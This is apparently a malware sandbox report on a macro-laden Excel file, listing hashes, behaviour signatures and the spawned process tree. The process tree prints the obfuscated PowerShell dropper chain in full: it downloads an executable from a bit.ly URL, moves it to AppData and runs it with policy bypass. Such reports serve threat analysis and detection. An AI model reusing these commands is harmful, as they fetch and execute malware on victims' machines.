Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    28/06/2024, 09:57

General

  • Target

    19b5bbd4478a50df5b886c7c9168ec59_JaffaCakes118.xls

  • Size

    116KB

  • MD5

    19b5bbd4478a50df5b886c7c9168ec59

  • SHA1

    9c84634a5685ebe2f75b2b3eecffc7c2748bd621

  • SHA256

    7a89a04ff27d6fe5e0d9249feee09c24989b074aa75e5563f755a7a279c62e5e

  • SHA512

    637d9a59ef4ce4145ac1ebc6c5bcfcf202b8c20d9a55c90ea4add7cd9f57832f9859201b1d1716138877c2e42d00b5c1413212cc0ac61c92273c036325e18539

  • SSDEEP

    3072:ZTk3hbdlylKsgqopeJBWhZFGkE+cL2NdAoioo1gaSNAPZlsWFPO7YiR6PJEcjjas:Fk3hbdlylKsgqopeJBWhZFVE+W2NdAos

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://bit.ly/3djeHvo

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\19b5bbd4478a50df5b886c7c9168ec59_JaffaCakes118.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2932
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -w 1 (nEw-oB`jecT Net.WebCL`I`eNT).('Down'+'loadFile').Invoke('https://bit.ly/3djeHvo','ts.exe')
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2540
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -w 1 Start-Sleep 20; Move-Item "ts.exe" -Destination "${enV`:appdata}"
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2556
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -w 1 -EP bypass Start-Sleep 25; cd ${enV`:appdata};.('.'+'/ts.exe')
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3044

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\W8H1BQRKRXVGNBE26K1R.temp

    Filesize

    7KB

    MD5

    86a8102deeed654ebdcdd41c3f8eb9f2

    SHA1

    83082333094b22093f19704aa9b7606175817999

    SHA256

    22c9193832fbb41eb057f65ad5487145614024ca4f41bff75db9d60fda2d0a2e

    SHA512

    172cecc4a1478a2954637611d1ce90cf3957086b94b0250b68e21ad97671ba015236c4c45e5baa0f63b8483f35ca538931bda6bb10e0da8208b12c7cc9ffb2d4

  • memory/2932-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2932-1-0x000000007236D000-0x0000000072378000-memory.dmp

    Filesize

    44KB

  • memory/2932-14-0x000000007236D000-0x0000000072378000-memory.dmp

    Filesize

    44KB

  • memory/2932-15-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2932-16-0x000000007236D000-0x0000000072378000-memory.dmp

    Filesize

    44KB